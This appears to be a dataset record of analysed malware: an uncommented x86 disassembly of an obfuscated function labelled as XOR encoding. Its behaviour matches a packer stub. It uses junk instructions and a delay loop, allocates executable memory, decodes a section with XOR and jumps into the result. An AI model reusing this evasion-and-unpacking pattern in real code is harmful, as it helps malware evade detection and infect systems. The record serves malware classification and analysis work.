Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xccbbf5bd
and edx, esi
add edx, esi
popal
and esi, esi
sub edx, 0xc1849f57
mov ebx, 0
mov edx, edi
sub eax, ecx
not eax
add eax, 0xa829e6af
mov esi, edx
inc eax
not ecx
mov edi, esi
sub eax, ecx
and eax, ecx
add eax, eax
inc ebx
add eax, 1
inc ecx
and ecx, eax
cmp ebx, 0x1002f0e
jne 0xa789c4
add eax, eax
add eax, 0x518c7154
add eax, ecx
and esi, edx
and esi, esi
sub edx, 1
mov edi, 0xa78796
sub edx, esi
mov esi, 0x1214459e
mov ebx, 0xa7898a
not esi
add eax, 0xae1931e9
dec edx
mov ecx, dword [edi]
add eax, 0xc198867
sub eax, 1
not edx
and ecx, 0xff
inc eax
sub esi, eax
dec eax
xor dword [ebx], ecx
add edx, 0x513c37e7
mov eax, 0x9eb31efe
add eax, 0x183b5fcf
add ebx, 1
add eax, 1
or edx, edx
add eax, 1
inc edi
add eax, 1
sub eax, esi
and esi, esi
cmp ebx, entry0
jl 0xa78a21
not esi
not esi
dec esi
mov esi, 0xb7aaef69
mov eax, 0x31635d67
add edx, edx
add esi, edi
sub edi, esi
mov ecx, 0xa7898e
inc ebx
not ebx
mov ecx, dword [ecx]
not esi
mov edi, 0x7c3ed131
add ebx, 0x4653d428
mov ecx, dword [ecx]
sub edi, 0x93789910
sub edi, 0x9a4cc23e
sub esp, 4
mov dword [esp], ecx
not esi
add esi, esi
mov ecx, 0xa7898a
not edx
mov ebx, 0xc8ad9bfe
add esi, 0xac69e90a
mov ecx, dword [ecx]
and ebx, edi
add edx, edi
mov ecx, dword [ecx]
mov edi, esi
dec edx
add ebx, 1
push 0xa78992
or ebx, edi
dec edi
mov edi, esi
call ecx
and edx, esi
mov esi, ebx
pop ecx
not edi
not ebx
mov edx, ebx
push 0xa7899f
add ebx, 0x447ea94
or edi, edx
push eax
and edx, ebx
add edi, 0x28f87d34
and edi, edx
call ecx
dec edx
and esi, edi
push 0x40
sub esi, 0x2c5276d2
add ebx, 1
mov edx, ebx
push 0x3000
mov edi, ebx
add edx, 0xe1af0a35
mov ebx, edi
push 0x20000427
add ebx, ebx
add edx, ebx
sub ebx, esi
push 0
or ebx, ebx
mov ebx, 0xbca4dd85
not edx
call eax
dec esi
sub ebx, esi
add eax, 0x20000383
sub edi, 0x2b7143c7
dec edx
and edi, edi
mov ecx, 0x84de19fc
inc ebx
or esi, esi
mov dword [eax], ecx
add esi, 0x270a697e
sub esi, 1
mov edx, esi
mov ecx, dword [eax]
sub edi, edx
sub ebx, 0x9b4e37ba
cmp ecx, 0x84de19fc
je 0xa78b94
mov ecx, 0
mov dword [ecx], edx
not esi
mov ebx, edi
add edi, edx
add esi, ebx
sub ebx, 0xc913d77d
mov esi, edx
sub edx, 1
mov esi, edx
mov edi, section..reltc
and edx, esi
sub edx, esi
mov esi, 0x1e4fd0ef
mov eax, 0xa78795
inc esi
add esi, 0x33c45b6b
mov ecx, 0
or edx, esi
not esi
mov ebx, 0xa78796
sub edx, 0xd4a5fe69
sub esi, edx
add esi, 0x4b67ecc5
lea ebx, [ecx + ebx]
and esi, esi
mov esi, 0xd14deeb3
mov ebx, dword [ebx]
not edx
add esi, edx
not esi
and ebx, 0xff
add edx, 0x4fa5aa25
mov esi, 0x989ef929
inc ecx
sub edx, esi
sub esi, 0xde49481
sub edx, 0x2a4ed494
cmp ecx, 0x1f4
jne 0xa78c21
mov ecx, 0
or edx, edx
add edx, 1
add edx, 0xb53caed4
not edx
not esi
xor dword [edi], ebx
sub edx, esi
mov esi, 0xcf81175b
add edx, edx
add edi, 2
add esi, 0xb40d212f
and edx, edx
cmp edi, eax
jl 0xa78bcf
mov edx, esi
mov esi, 0x61b83da7
and edx, edx
sub esi, 0x75a8a5d7
mov esi, 0x773c114a
mov ecx, section..reltc
not edx
add eax, 1
mov esi, section..reltc
and edx, edx
mov edx, eax
mov edi, 0xa78795
add eax, eax
mov eax, 0x7355880
inc edx
mov ebx, 0
add edx, 0x2fd7ebf7
sub edx, 0xe6f2987f
mov bl, byte [esi]
sub edx, eax
add edx, edx
not eax
mov byte [ecx], bl
sub edx, 1
or edx, edx
add edx, 0x4d7f053d
inc ecx
add edx, eax
add eax, eax
sub eax, 0xed656d66
add esi, 2
not edx
not edx
mov edx, eax
cmp esi, edi
jle 0xa78c9c
dec eax
sub edx, 0x3ce15ec6
sub edx, eax
not edx
sub edx, esi
push 0x8dc6a0
mov esi, edx
or edx, esi
and esi, esi
ret